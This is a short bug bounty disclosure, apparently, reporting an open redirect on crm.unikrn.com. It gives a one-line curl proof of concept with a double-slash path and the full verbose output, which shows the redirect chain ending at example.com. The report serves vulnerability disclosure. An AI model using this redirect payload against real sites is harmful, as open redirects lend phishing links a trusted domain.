[crm.unikrn.com] Open Redirect

Hi there is an open redirect vulnerable in crm.unikrn.com POC ```curl http://crm.unikrn.com//example.com/ -L -v``` Response ``` < HTTP/1.1 302 Moved Temporarily < Date: Thu, 14 Dec 2017 09:06:08 GMT < Transfer-Encoding: chunked < Connection: keep-alive < Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 < Expires: Thu, 01 Jan 1970 00:00:01 GMT < Location: https://crm.unikrn.com//example.com/ < Server: cloudflare-nginx < CF-RAY: 3cd0016601fb853e-HKG < * Ignoring the response-body * Connection #0 to host crm.unikrn.com left intact * Issue another request to this URL: 'https://crm.unikrn.com//example.com/' * Trying 104.20.9.41... * TCP_NODELAY set * Connected to crm.unikrn.com (104.20.9.41) port 443 (#1) * TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 * Server certificate: *.unikrn.com * Server certificate: RapidSSL SHA256 CA - G2 * Server certificate: GeoTrust Primary Certification Authority - G3 > GET //example.com/ HTTP/1.1 > Host: crm.unikrn.com > User-Agent: curl/7.54.0 > Accept: */* > < HTTP/1.1 301 Moved Permanently < Date: Thu, 14 Dec 2017 09:06:13 GMT < Content-Type: text/html; charset=UTF-8 < Transfer-Encoding: chunked < Connection: keep-alive < Set-Cookie: __cfduid=d42e68e619766e93f4ba615c19abf9eef1513242372; expires=Fri, 14-Dec-18 09:06:12 GMT; path=/; domain=.unikrn.com; HttpOnly < X-Powered-By: PHP/7.0.24 < Set-Cookie: 839f76f7dca1d4c71482f5436e1aba22=3a92cdc4ad916ccb96391468d2ad7eda; path=/; HttpOnly < Cache-Control: no-cache < Location: //example.com < Server: cloudflare-nginx < CF-RAY: 3cd001795f3884a2-HKG < * Ignoring the response-body * Connection #1 to host crm.unikrn.com left intact * Issue another request to this URL: 'https://example.com' * Rebuilt URL to: https://example.com/ * Trying 93.184.216.34... * TCP_NODELAY set * Connected to example.com (93.184.216.34) port 443 (#2) * TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 * Server certificate: www.example.org * Server certificate: DigiCert SHA2 High Assurance Server CA * Server certificate: DigiCert High Assurance EV Root CA > GET / HTTP/1.1 > Host: example.com > User-Agent: curl/7.54.0 > Accept: */* > < HTTP/1.1 200 OK < Accept-Ranges: bytes < Cache-Control: max-age=604800 < Content-Type: text/html < Date: Thu, 14 Dec 2017 09:06:13 GMT < Etag: "359670651" < Expires: Thu, 21 Dec 2017 09:06:13 GMT < Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT < Server: ECS (rhv/818F) < Vary: Accept-Encoding < X-Cache: HIT < Content-Length: 1270 ``` ## Impact open Redirect vulnerable